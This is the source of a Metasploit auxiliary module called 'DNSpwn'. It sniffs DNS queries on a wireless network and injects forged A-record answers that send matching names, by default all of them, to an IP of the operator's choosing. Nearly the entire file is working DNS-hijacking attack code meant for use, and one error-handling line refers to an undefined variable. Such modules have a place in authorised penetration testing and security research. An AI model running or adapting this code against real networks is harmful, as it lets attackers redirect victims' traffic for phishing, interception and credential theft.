##
# $Id: dnspwn.rb 9929 2010-07-25 21:37:54Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'yaml'
require 'racket'
require 'net/dns/packet'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Lorcon2
	include Msf::Auxiliary::Report

	def initialize
		super(
			'Name'        => 'DNSpwn DNS hijack',
			'Version'     => '$Revision: 9929 $',
			'Description'    => %q{
				Race DNS responses and replace DNS queries
			},
			'Author'      => ['dragorn'],
			'License'     => MSF_LICENSE
		)

		register_options(
			[
				OptPath.new('DNSLIST',	  [ false, "YAML file of DNS entries for replacement",
						File.join(Msf::Config.install_root, "data", "exploits", "wifi", "dnspwn", "dnslist.yml")
					]),
				OptBool.new('USEDNSFILE', [ true, "Use dns list file for response", "false"]),
				OptString.new('FILTER',	  [ true, "Default BPF filter", "port 53"]),
				OptString.new('IP',		  [ true, "IP for host resolution", "1.2.3.4" ]),
				OptString.new('DURATION', [ true, "Duration of spoofed IP record", "99999" ]),
				OptString.new('MATCH',	  [ true, "Match for DNS name replacement", "(.*)"]),
			], self.class)
	end

	def run

		@dnslist  = datastore['DNSLIST']
		@regex    = datastore['MATCH']
		@response = datastore['IP']
		@filter	  = datastore['FILTER']
		@duration = datastore['DURATION']
		@useyaml  = datastore['USEDNSFILE']

		@dns = []

		if @useyaml
			begin
				@dns = YAML::load_file(@dnslist)
			rescue ::Exception => e
				print_error "DNSPWN: failed to parse YAML file, #{e.class} #{e} #{e.backtrace}"
			end
		else
			@dns[0] = { "regex" => @regex, "response" => @response, "duration" => @duration }
		end

		@run = true

		open_wifi

		self.wifi.filter = @filter if not @filter.empty?
		each_packet do |pkt|
			d3 = pkt.dot3

			next if not d3

			eth = Racket::L2::Ethernet.new(d3)
			next if eth.ethertype != 0x0800

			ip = Racket::L3::IPv4.new(eth.payload)
			next if ip.protocol != 0x11

			udp = Racket::L4::UDP.new(ip.payload)

			dns = Net::DNS::Packet::parse(udp.payload)

			next if dns.answer.size != 0
			next if dns.question.size == 0

			@dns.each do |r|
				hit = nil
				r['regex'].each do |reg|
					hit = dns.question[0].qName.scan(/#{reg}/) || nil
					break if hit.size != 0
				end
				next if hit.size.zero?

				print_status("DNSPWN: %s -> %s req %s transaction id %u (response %s)" % [ip.src_ip, ip.dst_ip, dns.header.id, r["response"] ])

				injpkt = Lorcon::Packet.new()
				injpkt.bssid = pkt.bssid

				response = Racket::Racket.new
				response.l2 = Racket::L2::Ethernet.new("01234567890123")
				response.l2.dst_mac = eth.src_mac
				response.l2.src_mac = eth.dst_mac
				response.l2.ethertype = 0x0800

				response.l3 = Racket::L3::IPv4.new
				response.l3.src_ip = ip.dst_ip
				response.l3.dst_ip = ip.src_ip
				response.l3.protocol = ip.protocol
				response.l3.ttl = ip.ttl

				response.l4 = Racket::L4::UDP.new
				response.l4.src_port = udp.dst_port
				response.l4.dst_port = udp.src_port

				dns.header.qr = 1
				dns.answer = Net::DNS::RR::A.new("%s %s IN A %s", dns.question[0].qName, r["duration"], r["response"])

				response.l4.payload = dns.data
				response.l4.fix!(response.l3.src_ip, response.l3.dst_ip)

				injpkt.dot3 = response.pack

				if (pkt.direction == Lorcon::Packet::LORCON_FROM_DS)
					injpkt.direction = Lorcon::Packet::LORCON_TO_DS
				elsif (pkt.direction == Lorcon::Packet::LORCON_TO_DS)
					injpkt.direction = Lorcon::Packet::LORCON_FROM_DS
				else
					injpkt.direction = Lorcon::Packet::LORCON_ADHOC_DS
				end

				self.wifi.inject(injpkt) or print_error("DNSPWN failed to inject packet: " + tx.error)
			end
		end
	end
end
